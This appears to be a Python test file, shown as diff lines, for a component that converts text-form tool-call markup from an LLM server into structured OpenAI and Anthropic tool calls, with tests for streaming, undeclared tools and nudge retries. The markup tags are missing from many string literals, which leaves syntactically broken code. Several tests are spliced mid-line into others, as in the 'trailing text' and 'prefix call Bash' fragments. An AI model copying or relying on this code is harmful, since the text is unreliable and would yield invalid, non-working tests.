test_plain_text_passes_through(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("hello ") + healer.feed("world") + healer.finalize() + assert _events_text(events) == "hello world" + assert not _events_calls(events) + + def test_complete_call_in_one_chunk(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"On it. {XML_BASH}") + healer.finalize() + assert _events_text(events) == "On it. " + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + assert healer.healed + + def test_signal_split_across_chunks(self): + healer = StreamToolCallHealer({"Bash"}) + events = [] + for piece in ["{"name":"Bash",', '"arguments":{}}']: + events += healer.feed(piece) + events += healer.finalize() + assert _events_text(events) == "" + assert len(_events_calls(events)) == 1 + + def test_closed_malformed_tool_block_flushes_immediately(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("not json after") + assert _events_text(events) == "not json after" + assert not _events_calls(events) + + def test_mixed_formats_stream_in_document_order(self): + healer = StreamToolCallHealer({"Bash", "Read"}) + func_read = "a.txt" + events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize() + assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"] + assert _events_text(events).strip() == "then" + + def test_false_alarm_html_flushes(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("use the
tag") + healer.finalize() + assert _events_text(events) == "use the
tag" + assert not _events_calls(events) + + def test_partial_signal_tail_held_then_flushed_at_end(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("trailing text -> call B, never both calls then the text. + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_BASH} middle {XML_BASH}") + healer.finalize() + kinds = [k for k, _ in events] + assert kinds == ["tool_call", "text", "tool_call"] + assert events[1][1] == " middle " + + def test_undeclared_then_declared_keeps_document_order(self): + # The undeclared block precedes the declared call; its raw text must + # be emitted BEFORE the promoted call event, never after. + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_UNDECLARED} then {XML_BASH}") + healer.finalize() + kinds = [k for k, _ in events] + assert kinds.index("tool_call") == len(kinds) - 1 + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + assert XML_UNDECLARED in _events_text(events) + + def test_declared_promoted_then_late_undeclared_flushes_raw(self): + # Streaming causality: the declared call completed and was already + # emitted before the undeclared one arrived. The undeclared markup + # must still reach the client as raw text (no data loss). + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_BASH} then ") + assert len(_events_calls(events)) == 1 + events += healer.feed(XML_UNDECLARED) + healer.finalize() + assert XML_UNDECLARED in _events_text(events) + assert len(_events_calls(events)) == 1 + + def test_undeclared_tool_flushes_raw(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(XML_UNDECLARED) + healer.finalize() + assert _events_text(events) == XML_UNDECLARED + assert not _events_calls(events) + + def test_two_calls_and_text_between(self): + healer = StreamToolCallHealer({"Bash", "Read"}) + xml_read = '{"name":"Read","arguments":{"path":"f"}}' + events = healer.feed(f"{XML_BASH} then {xml_read}") + healer.finalize() + calls = _events_calls(events) + assert [c["function"]["name"] for c in calls] == ["Bash", "Read"] + assert [c["id"] for c in calls] == ["call_0", "call_1"] + assert _events_text(events).strip() == "then" + + def test_incomplete_call_healed_at_finalize(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed('{"name":"Bash","arguments":{"cmd":"ls"}}') + assert events == [] # held + events = healer.finalize() + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + + def test_teaching_text_flushes_at_finalize(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(" is the marker syntax") + healer.finalize() + assert _events_text(events) == " is the marker syntax" + assert not _events_calls(events) + + def test_hold_bound_flushes(self): + healer = StreamToolCallHealer({"Bash"}) + blob = "" + "x" * (64 * 1024 + 10) + events = healer.feed(blob) + healer.finalize() + assert _events_text(events) == blob + assert not _events_calls(events) + + def test_dormant_after_structured_delta(self): + healer = StreamToolCallHealer({"Bash"}) + held = healer.feed("prefix call Bash somehow???") + assert nudge_should_retry(data, {"Read"}) is True + + def test_no_retry_on_clean_prose(self): + assert nudge_should_retry(self._resp("all done"), {"Bash"}) is False + + def test_no_retry_when_heal_would_succeed(self): + assert nudge_should_retry(self._resp(XML_BASH), {"Bash"}) is False + + def test_no_retry_with_structured_calls(self): + data = self._resp("", tool_calls = [{"id": "x"}]) + assert nudge_should_retry(data, {"Bash"}) is False + + def test_no_retry_when_healing_disabled(self): + assert nudge_should_retry(self._resp("???"), None) is False + + def test_nudge_messages_shape(self): + data = self._resp("garbage") + suffix = nudge_messages(data, {"Bash", "Read"}) + assert [m["role"] for m in suffix] == ["assistant", "user"] + assert suffix[0]["content"] == "garbage" + assert "`Bash` or `Read`" in suffix[1]["content"] + + def test_retry_with_undeclared_structured_call_is_not_an_improvement(self): + # The retry replaces the original only when it carries a USABLE call: + # a structured call naming an undeclared tool must not count. + undeclared = [ + {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}} + ] + declared = [ + {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}} + ] + assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False + assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True + + def test_retry_with_mixed_structured_calls_is_not_an_improvement(self): + # ALL structured calls must be declared: the caller forwards the whole + # list (and a parallel cap could keep only the FIRST), so a mixed retry + # could still hand the client an undeclared tool. + mixed = [ + {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}, + {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}, + ] + assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False + assert ( + response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False + ) + + @pytest.mark.parametrize( + "data", + [ + None, + "not a dict", + {}, + {"choices": []}, + {"choices": [{}]}, + {"choices": [{"message": None}]}, # llama-server error bodies do this + {"choices": [{"message": "not a dict"}]}, + {"choices": [{"message": {"content": None}}]}, + {"error": {"message": "boom"}}, + ], + ) + def test_malformed_response_shapes_never_raise(self, data): + # A malformed upstream body must degrade to "nothing to heal/nudge", + # never crash the request with an AttributeError. + assert nudge_should_retry(data, {"Bash"}) is False + assert response_has_promotable_calls(data, {"Bash"}) is False + suffix = nudge_messages(data, {"Bash"}) + assert suffix[0] == {"role": "assistant", "content": ""} + + +# ── Route-level wiring (OpenAI passthrough) ───────────────────────────── +# Mirrors the fake-llama-server patterns in test_openai_tool_passthrough.py. + +import asyncio # noqa: E402 +import threading # noqa: E402 +from types import SimpleNamespace # noqa: E402 + +import httpx # noqa: E402 + +from core.inference.api_monitor import ApiMonitor # noqa: E402 +from models.inference import ChatCompletionRequest, ChatMessage # noqa: E402 +from routes.inference import ( # noqa: E402 + _openai_passthrough_non_streaming, + _openai_passthrough_stream, +) + +LOOKUP_TOOL = { + "type": "function", + "function": {"name": "lookup", "parameters": {"type": "object", "properties": {}}}, +} +LOOKUP_XML = '{"name":"lookup","arguments":{"q":"x"}}' + + +def _payload(**kwargs): + defaults = dict( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [LOOKUP_TOOL], + ) + defaults.update(kwargs) + return ChatCompletionRequest(**defaults) + + +def _llama_backend(): + return SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ) + + +def _upstream_message( + content, + tool_calls = None, + finish_reason = "stop", +): + message = {"role": "assistant", "content": content} + if tool_calls is not None: + message["tool_calls"] = tool_calls + return { + "id": "chatcmpl-up", + "object": "chat.completion", + "created": 1, + "model": "gguf", + "choices": [{"index": 0, "message": message, "finish_reason": finish_reason}], + "usage": {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3}, + } + + +class ScriptedClient: + """Fake nonstreaming_client() returning scripted JSON bodies, counting POSTs.""" + + def __init__(self, bodies): + self.bodies = list(bodies) + self.posts = [] + + async def post( + self, + _url, + json = None, + timeout = None, + ): + self.posts.append(json) + return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)]) + + +async def _drive_non_streaming(monkeypatch, payload, bodies): + import routes.inference as inf_mod + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _openai_passthrough_non_streaming( + _llama_backend(), payload, "gguf", monitor_id = None + ) + return client, json.loads(response.body) + + +async def _drive_stream(monkeypatch, payload, lines): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + for line in lines: + yield line + + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monkeypatch.setattr(inf_mod, "api_monitor", ApiMonitor(max_entries = 3)) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + _llama_backend(), + payload, + "gguf", + "chatcmpl-test", + monitor_id = None, + ) + return [chunk async for chunk in response.body_iterator] + + +def _stream_payloads(chunks): + out = [] + for chunk in chunks: + for line in chunk.splitlines(): + if line.startswith("data: ") and line[6:] != "[DONE]": + out.append(json.loads(line[6:])) + return out + + +class TestOpenaiNonStreamingRoute: + def test_heals_xml_to_tool_calls(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(LOOKUP_XML)] + ) + choice = data["choices"][0] + assert choice["finish_reason"] == "tool_calls" + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert json.loads(call["function"]["arguments"]) == {"q": "x"} + assert choice["message"]["content"] is None + assert data["usage"]["total_tokens"] == 3 # usage preserved + assert len(client.posts) == 1 # healing never re-requests + + asyncio.run(_run()) + + def test_bare_string_uses_client_schema_key(self, monkeypatch): + async def _run(): + content = '{"name":"Bash","arguments":"echo hi"}' + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tools = [BASH_COMMAND_TOOL]), + [_upstream_message(content)], + ) + (call,) = data["choices"][0]["message"]["tool_calls"] + assert json.loads(call["function"]["arguments"]) == {"command": "echo hi"} + + asyncio.run(_run()) + + def test_opt_out_relays_verbatim(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(auto_heal_tool_calls = False), + [_upstream_message(LOOKUP_XML)], + ) + choice = data["choices"][0] + assert choice["message"]["content"] == LOOKUP_XML + assert "tool_calls" not in choice["message"] + assert choice["finish_reason"] == "stop" + + asyncio.run(_run()) + + def test_no_tools_untouched(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, _payload(tools = None), [_upstream_message(LOOKUP_XML)] + ) + assert data["choices"][0]["message"]["content"] == LOOKUP_XML + + asyncio.run(_run()) + + def test_undeclared_tool_not_promoted(self, monkeypatch): + async def _run(): + xml = '{"name":"rogue","arguments":{}}' + _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)]) + assert data["choices"][0]["message"]["content"] == xml + assert "tool_calls" not in data["choices"][0]["message"] + + asyncio.run(_run()) + + def test_structured_calls_untouched(self, monkeypatch): + async def _run(): + native = [ + { + "id": "call_up", + "type": "function", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + _, data = await _drive_non_streaming( + monkeypatch, + _payload(), + [_upstream_message("", tool_calls = native, finish_reason = "tool_calls")], + ) + assert data["choices"][0]["message"]["tool_calls"] == native + + asyncio.run(_run()) + + def test_length_finish_reason_preserved(self, monkeypatch): + async def _run(): + # Truncated generation: the healed call stays attached but the + # client must still see the truncation, so length is never + # upgraded to tool_calls. + _, data = await _drive_non_streaming( + monkeypatch, + _payload(), + [_upstream_message(LOOKUP_XML, finish_reason = "length")], + ) + choice = data["choices"][0] + assert choice["finish_reason"] == "length" + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + + asyncio.run(_run()) + + def test_tool_choice_none_relays_verbatim(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tool_choice = "none"), + [_upstream_message(LOOKUP_XML)], + ) + message = data["choices"][0]["message"] + assert message["content"] == LOOKUP_XML + assert "tool_calls" not in message + + asyncio.run(_run()) + + def test_tool_choice_forcing_other_function_not_promoted(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tool_choice = {"type": "function", "function": {"name": "other"}}), + [_upstream_message(LOOKUP_XML)], + ) + message = data["choices"][0]["message"] + assert message["content"] == LOOKUP_XML + assert "tool_calls" not in message + + asyncio.run(_run()) + + def test_mixed_declared_and_undeclared_promotes_and_keeps_text(self, monkeypatch): + async def _run(): + rogue = '{"name":"rogue","arguments":{}}' + mixed = f"{LOOKUP_XML} also {rogue}" + _, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(mixed)] + ) + choice = data["choices"][0] + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert rogue in choice["message"]["content"] + assert choice["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + def test_healed_then_native_stream_indexes_disjoint(self, monkeypatch): + async def _run(): + # A healed text-form call goes out first (index 0); a native + # structured delta follows. Clients merge deltas by index, so the + # native call must be shifted off index 0 or the two would merge. + native_line = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_native","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":' + + json.dumps(LOOKUP_XML) + + "}}]}", + native_line, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + indexes = {} + for payload_data in _stream_payloads(chunks): + for ch in payload_data.get("choices", []): + for tc in (ch.get("delta") or {}).get("tool_calls") or []: + indexes.setdefault(tc["index"], tc.get("id")) + assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native" + assert indexes.get(1) == "call_native" + + asyncio.run(_run()) + + def test_role_delta_precedes_healed_stream_content(self, monkeypatch): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":' + + json.dumps(LOOKUP_XML) + + "}}]}", + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + payloads = _stream_payloads(chunks) + first_delta = payloads[0]["choices"][0]["delta"] + assert first_delta == {"role": "assistant"} + assert "tool_calls" in payloads[1]["choices"][0]["delta"] + + asyncio.run(_run()) + + def test_same_chunk_role_content_finish_delays_finish_until_after_healed_tool( + self, monkeypatch + ): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":' + + json.dumps(LOOKUP_XML) + + '},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + payloads = _stream_payloads(chunks) + assert payloads[0]["choices"][0]["finish_reason"] is None + assert payloads[0]["choices"][0]["delta"] == {"role": "assistant"} + assert "tool_calls" in payloads[1]["choices"][0]["delta"] + assert payloads[-1]["choices"][0]["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + +GARBAGE_SIGNAL = "call lookup somehow???" + + +class TestNudgeRetryOpenai: + def test_retry_recovers_call(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)], + ) + assert len(client.posts) == 2 # exactly one retry + # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard). + original, retry = client.posts + assert retry["messages"][: len(original["messages"])] == original["messages"] + suffix = retry["messages"][len(original["messages"]) :] + assert [m["role"] for m in suffix] == ["assistant", "user"] + assert suffix[0]["content"] == GARBAGE_SIGNAL + # The healed retry response is returned. + (call,) = data["choices"][0]["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert data["choices"][0]["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + def test_retry_still_garbage_returns_original(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")], + ) + assert len(client.posts) == 2 + assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL + assert "tool_calls" not in data["choices"][0]["message"] + + asyncio.run(_run()) + + def test_default_off_single_post(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(GARBAGE_SIGNAL)] + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + def test_no_retry_on_clean_prose(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message("all done")], + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + def test_no_retry_when_heal_succeeds(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(LOOKUP_XML)], + ) + assert len(client.posts) == 1 + assert data["choices"][0]["message"]["tool_calls"] + + asyncio.run(_run()) + + def test_heal_opt_out_disables_nudge_too(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, + _payload(auto_heal_tool_calls = False, nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL)], + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + +class TestNudgeRetryAnthropic: + async def _drive( + self, + monkeypatch, + bodies, + nudge = None, + ): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + nudge_tool_calls = nudge, + ) + return client, json.loads(response.body) + + def test_retry_recovers_tool_use(self, monkeypatch): + async def _run(): + client, data = await self._drive( + monkeypatch, + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)], + nudge = True, + ) + assert len(client.posts) == 2 + (block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert block["name"] == "lookup" + assert data["stop_reason"] == "tool_use" + + asyncio.run(_run()) + + def test_healed_tool_use_precedes_trailing_text(self, monkeypatch): + async def _run(): + _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")]) + assert [block["type"] for block in data["content"]] == ["tool_use", "text"] + assert data["content"][1]["text"] == "done" + + asyncio.run(_run()) + + def test_default_off(self, monkeypatch): + async def _run(): + client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)]) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + +class TestAnthropicPassthroughHealingText: + """Non-streaming Anthropic passthrough must relay unpromoted (undeclared) + text-form calls as text, matching the OpenAI passthrough contract. Once + heal_openai_message promotes the declared call it span-trims only that + markup and deliberately leaves the undeclared bytes in the content; the + legacy blanket _TOOL_XML_RE strip must not delete them. + """ + + async def _drive(self, monkeypatch, upstream): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient([upstream]) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + ) + return json.loads(response.body) + + def test_mixed_declared_and_undeclared_relays_undeclared_as_text(self, monkeypatch): + async def _run(): + content = f"Running now. {LOOKUP_XML} then {XML_UNDECLARED} done." + data = await self._drive(monkeypatch, _upstream_message(content)) + # Declared lookup call is promoted into a structured tool_use block. + (tool_use,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert tool_use["name"] == "lookup" + text = " ".join(b["text"] for b in data["content"] if b["type"] == "text") + assert XML_UNDECLARED in text + assert "Running now." in text and "done." in text + assert LOOKUP_XML not in text + + asyncio.run(_run()) + + +class TestAnthropicEmitterHealing: + def _events( + self, + emitter, + chunks, + finish = True, + ): + lines = [] + for chunk in chunks: + lines += emitter.feed_chunk(chunk) + if finish: + lines += emitter.finish() + return [json.loads(ln.split("data: ", 1)[1]) for ln in lines if "data: " in ln] + + def _emitter( + self, + allowed = ("lookup",), + **kwargs, + ): + from core.inference.anthropic_compat import AnthropicPassthroughEmitter + + emitter = AnthropicPassthroughEmitter() + emitter.enable_healing(set(allowed), **kwargs) + return emitter + + def _chunk( + self, + content = None, + tool_calls = None, + finish_reason = None, + ): + delta = {} + if content is not None: + delta["content"] = content + if tool_calls is not None: + delta["tool_calls"] = tool_calls + return {"choices": [{"delta": delta, "finish_reason": finish_reason}]} + + def test_xml_becomes_tool_use_block_and_stop_reason(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = LOOKUP_XML), + self._chunk(finish_reason = "stop"), + ], + ) + starts = [e for e in events if e.get("type") == "content_block_start"] + (tool_start,) = [e for e in starts if e["content_block"]["type"] == "tool_use"] + assert tool_start["content_block"]["name"] == "lookup" + assert tool_start["content_block"]["id"].startswith("toolu_") + (args,) = [ + e["delta"]["partial_json"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta" + ] + assert json.loads(args) == {"q": "x"} + (message_delta,) = [e for e in events if e.get("type") == "message_delta"] + assert message_delta["delta"]["stop_reason"] == "tool_use" + + def test_mid_block_signal_closes_text_block_first(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = f"Let me check {LOOKUP_XML}"), + self._chunk(finish_reason = "stop"), + ], + ) + kinds = [ + (e["type"], (e.get("content_block") or e.get("delta") or {}).get("type")) + for e in events + if e["type"].startswith("content_block") + ] + # text opens, streams the safe prefix, closes; then the tool_use block. + assert kinds[0] == ("content_block_start", "text") + assert kinds[1] == ("content_block_delta", "text_delta") + assert kinds[2] == ("content_block_stop", None) + assert kinds[3] == ("content_block_start", "tool_use") + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == "Let me check " + + def test_false_alarm_streams_as_text(self): + events = self._events( + self._emitter(), + [self._chunk(content = "use the
tag"), self._chunk(finish_reason = "stop")], + ) + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == "use the
tag" + (message_delta,) = [e for e in events if e.get("type") == "message_delta"] + assert message_delta["delta"]["stop_reason"] == "end_turn" + + def test_signal_split_across_chunks(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = "{"name":"lookup","arguments":{"q":"y"}}' + events = self._events( + self._emitter(disable_parallel_tool_use = True), + [self._chunk(content = two), self._chunk(finish_reason = "stop")], + ) + starts = [ + e + for e in events + if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + ] + assert len(starts) == 1 + + def test_disable_parallel_drops_native_after_healed(self): + # A healed call consumed the single allowed slot; a later native + # structured call (index 0, so it survives the caller's chunk-level + # cap) must not open a second tool_use block. + structured = [ + { + "index": 0, + "id": "call_up", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + events = self._events( + self._emitter(disable_parallel_tool_use = True), + [ + self._chunk(content = LOOKUP_XML), + self._chunk(tool_calls = structured), + self._chunk(finish_reason = "tool_calls"), + ], + ) + starts = [ + e + for e in events + if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + ] + assert len(starts) == 1 + + def test_no_healing_means_verbatim_text(self): + from core.inference.anthropic_compat import AnthropicPassthroughEmitter + + emitter = AnthropicPassthroughEmitter() # enable_healing never called + events = self._events( + emitter, + [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "stop")], + ) + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == LOOKUP_XML + + +class TestAnthropicNonStreamingRoute: + async def _drive( + self, + monkeypatch, + bodies, + auto_heal = None, + tools = None, + tool_choice = "auto", + ): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + tools if tools is not None else [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + tool_choice = tool_choice, + auto_heal_tool_calls = auto_heal, + ) + return client, json.loads(response.body) + + def test_promotes_xml_to_tool_use(self, monkeypatch): + async def _run(): + _, data = await self._drive(monkeypatch, [_upstream_message(LOOKUP_XML)]) + (block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert block["name"] == "lookup" + assert block["input"] == {"q": "x"} + assert data["stop_reason"] == "tool_use" + assert not any(b["type"] == "text" for b in data["content"]) + + asyncio.run(_run()) + + def test_opt_out_keeps_legacy_strip(self, monkeypatch): + async def _run(): + _, data = await self._drive( + monkeypatch, [_upstream_message(f"plan {LOOKUP_XML}")], auto_heal = False + ) + assert data["stop_reason"] == "end_turn" + (block,) = data["content"] + assert block["type"] == "text" + assert block["text"] == "plan" # XML stripped, nothing promoted + + asyncio.run(_run()) + + def test_undeclared_tool_not_promoted(self, monkeypatch): + async def _run(): + xml = '{"name":"rogue","arguments":{}}' + _, data = await self._drive(monkeypatch, [_upstream_message(xml)]) + assert data["stop_reason"] == "end_turn" + assert not any(b["type"] == "tool_use" for b in data["content"]) + # Healing preserves what it does not promote: the undeclared call + # reaches the client as text instead of being silently stripped. + (text_block,) = [b for b in data["content"] if b["type"] == "text"] + assert text_block["text"] == xml + + asyncio.run(_run()) + + def test_mixed_undeclared_text_preserved_after_heal(self, monkeypatch): + async def _run(): + # Declared call promoted to tool_use; the undeclared call's markup + # stays in the text block (the legacy strip must not run after a + # span-exact heal), matching the OpenAI passthrough. + rogue = '{"name":"rogue","arguments":{}}' + _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")]) + (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert tool_block["name"] == "lookup" + (text_block,) = [b for b in data["content"] if b["type"] == "text"] + assert rogue in text_block["text"] + assert data["stop_reason"] == "tool_use" + + asyncio.run(_run()) + + def test_length_beats_tool_use(self, monkeypatch): + async def _run(): + _, data = await self._drive( + monkeypatch, [_upstream_message(LOOKUP_XML, finish_reason = "length")] + ) + assert data["stop_reason"] == "max_tokens" + assert any(b["type"] == "tool_use" for b in data["content"]) + + asyncio.run(_run()) + + def test_tool_choice_none_keeps_legacy_strip(self, monkeypatch): + async def _run(): + # Anthropic {"type": "none"} arrives here converted to "none": + # the request forbade tool calls, so nothing is promoted and the + # legacy XML strip applies as before healing existed. + _, data = await self._drive( + monkeypatch, + [_upstream_message(f"plan {LOOKUP_XML}")], + tool_choice = "none", + ) + assert data["stop_reason"] == "end_turn" + (block,) = data["content"] + assert block["type"] == "text" + assert block["text"] == "plan" + + asyncio.run(_run()) + + +class TestOpenaiStreamingRoute: + def test_heals_streamed_xml(self, monkeypatch): + async def _run(): + pieces = ["", '{"name":"lookup",', '"arguments":{"q":"x"}}', ""] + lines = [ + 'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}' + % json.dumps(p) + for p in pieces + ] + lines += [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + (call,) = tool_deltas + assert call["function"]["name"] == "lookup" + assert json.loads(call["function"]["arguments"]) == {"q": "x"} + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["tool_calls"] + # None of the XML leaked as visible content. + text = "".join( + (c.get("delta") or {}).get("content") or "" + for p in payloads + for c in p.get("choices", []) + ) + assert "" not in text + assert chunks[-1] == "data: [DONE]\n\n" + + asyncio.run(_run()) + + def test_parallel_cap_drops_native_after_healed(self, monkeypatch): + async def _run(): + # parallel_tool_calls=false: a healed call consumed the single + # allowed slot, and the upstream SSE cap keeps native index 0, so + # the route must drop the later native call itself. + xml = '{"name":"lookup","arguments":{"q":"x"}}' + native = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_up","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + 'data: {"id":"c1","model":"gguf","created":1,"choices":' + '[{"index":0,"delta":{"content":%s}}]}' % json.dumps(xml), + native, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + (call,) = tool_deltas + assert call["id"] == "call_0" # the healed call; native was dropped + + asyncio.run(_run()) + + def test_false_alarm_text_flushes(self, monkeypatch): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"use the
